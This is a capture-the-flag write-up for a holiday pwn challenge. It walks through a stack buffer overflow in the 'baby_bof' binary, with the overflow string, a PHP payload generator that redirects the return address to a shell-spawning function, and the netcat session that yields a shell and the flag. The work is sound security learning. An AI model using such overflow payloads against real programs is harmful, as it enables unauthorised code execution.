Challenge: Santa made available a service that accepts only the best of jokes. Try it out, binary is available and service is listening at elfs.owasp.si:40003.
Finally! Some real work with binaries, stacks, reversing! Lets fire up Ghidra nad take a look.
So we have a main
, vuln
and win
function. And inside the win
function there is a system
call to run /bin/sh. I don’t know much about pwn CTFs but best guess is, I need to get the shell running.
vuln
has a typical buffer overrun problem, the local buffer is 60 bytes long, but fgets
allows us to read up to 256 bytes. With this we can “smash” the stack and send our function where we need it.
I was educated that BOF stands for “buffer overflow”, the technic on the other hand is called ROP - return oriented programming.
This is how the sack looks like.
So if we write over our buffer, we will first overwrite the local int. We can do it like this:
$ printf "111111111122222222223333333333444444444455555555556666666666\xde\xc0\xad\xde\n" | ./baby_bof
will need more than a simple joke this time...
damn, this is bof_1, still far behind, go to work :)
Yes, we can already see some progress. However we need to jump to that other function.
Overwriting two more words (so 8 bytes twice, this is x64!) we can manipulate the return location.
The exact address can be either found in Ghidra or with help of gdb.
We are jumping to *win+56
or 0x40067f
. Here is a helper script to generate the data
<?php
// buffer
echo "111111111122222222223333333333444444444455555555556666666666";
// local
echo "\xde\xc0\xad\xde";
// leaveq copies to RBP
echo pack("Q", 0x9192939495969798);
// return address..
echo pack("Q", 0x0000000000400647+56);
// send to shell
echo "\n";
echo "id\n";
echo "ls\n";
And here the output:
# php gen.php | nc elfs.owasp.si 40003
will need more than a simple joke this time...
damn, this is bof_1, still far behind, go to work :)
2/2 bro good job
uid=1000(pilot) gid=1000(pilot) groups=1000(pilot)
baby_bof
flag.txt
startService.sh
Sending a cat flag.txt
will show the goods.
I don’t have much experience with real reversing, and I used php to generate the needed binary data. Apparently this got me laughed at! Remember, it’s just a tool ;)
A also talked to the author of the challenge and he noted that I was supposed to build gadgets to get past the other two if clauses in win()
. I learned how to do that later.
Flag: xmas{-BAby-Pl1s-CXme-H0me}
What did I learn: Some nice reversing with Ghidra and Gdb, a bit more about x64 stack layout.